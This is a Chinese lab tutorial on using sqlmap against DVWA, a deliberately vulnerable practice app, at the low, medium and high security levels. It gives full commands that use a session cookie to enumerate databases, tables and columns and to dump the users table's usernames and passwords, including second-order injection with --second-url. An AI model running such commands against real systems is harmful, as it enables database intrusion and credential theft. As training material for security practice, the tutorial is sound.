使用sqlmap對dvwa進行自動化注入
?設置dvwa級別為low
-
打開dvwa的SQL Injection(SQL Injection (Blind)),打開瀏覽器調試,輸入user id并submit,查看攔截到的請求。
-
可以看到是一條GET請求,url“http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
-
我們直接放到salmap測試一下,使用-u命令?-u “http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#”
-
可以看到這里是需要登錄的,否則跑不出來。所以我們需要添加一個Cookie維持登錄
? ? 6.使用burp suite代理抓包,獲取登錄的cookie,添加–dbs 爆數據?-u “http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#” —? ? cookie=”PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low” –dbs
? ? ? 7.?我們用-D xxx指定查看的數據庫,用–tables查看該數據庫的所有表:-u? ? ? ? ? ? “http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low” -D dvwa –tables
查看跑出來的結果:
8.我們用-D xxx -T ttt指定查看的表,用–columns查看表的列
-u “http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low” -D dvwa -T users –columns
9.我們用-D xxx查看數據庫, -T xxx指定查看的表,用-C xxx查看表的列,用-dump查看列的數據
-u “http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low” -D dvwa -T users -C password,user –dump
-
將dvwa安全等級調為medium將抓取的數據包保存為.txt文件,放到sqlmap的目錄下,直接-r 文件名 –dbs(后續的參數自己添加即可)
-
將dvwa 安全等級調為high。由于這次的提交頁面跟返回結果的頁面不是同一個頁面,所以之前的那種方法在這里不能用了。要使用二階注入的方法
-
提交數據的網址? ? ? ? ? ? ?
-
返回的網址
? ? ? ?將抓取的數據包保存為.txt文件,放到sqlmap的目錄下,爆數據庫,命令:?-r? ? ? ? ? ?1.txt –second-url “http://192.168.1.222:8089/vulnerabilities/sqli/” —? ? ? ? ? ?batch –level 2?–dbs
? ? ? ?
? ? ? ?爆表名
? ? ??-r 1.txt –second-url “http://192.168.1.222:8089/vulnerabilities/sqli/” –? ? ? ? -batch –level 2 -D dvwa –tables
? ? ??
? ? ? 爆列名
? ? ??-r 1.txt –second-url “http://192.168.1.222:8089/vulnerabilities/sqli/”?
? ? ?— batch –level 2 -D dvwa -T user –columns
? ? ?
? ? ?爆字段數據
? ?-r 1.txt –second-url “http://192.168.1.222:8089/vulnerabilities/sqli/” —? ? ? ?batch –level 2 -D dvwa -T users -C user,password –dump
? ?
-
一些概念問題:
-
二階注入:二階sql注入–second-order有些時候注入點輸入的數據看返回結果的時候并不是 當前的頁面,而是另外的一個頁面, 這時候就需要你指定到哪個頁面獲取響應判斷真假。–second-url 后面跟一個返回的頁面的URL地址
-
–batch:自動默認配置,不用手動按yes or no
-
level :Sqlmap一共有5個探測等級,默認是1。等級越高,說明探測時使用的payload也越多。其中5級的payload最多,會自動破解出cookie、XFF等頭部注入。當然,等級越高,探測的時間也越慢。這個參數會影響測試的注入點,GET和POST的數據都會進行測試,HTTP?cookie在level為2時就會測試,HTTP? User-Agent/Referer頭在level為3時就會測試。在不確定哪個參數為注入點時,為了保證準確性,建議設置level為5(速度也隨之變慢)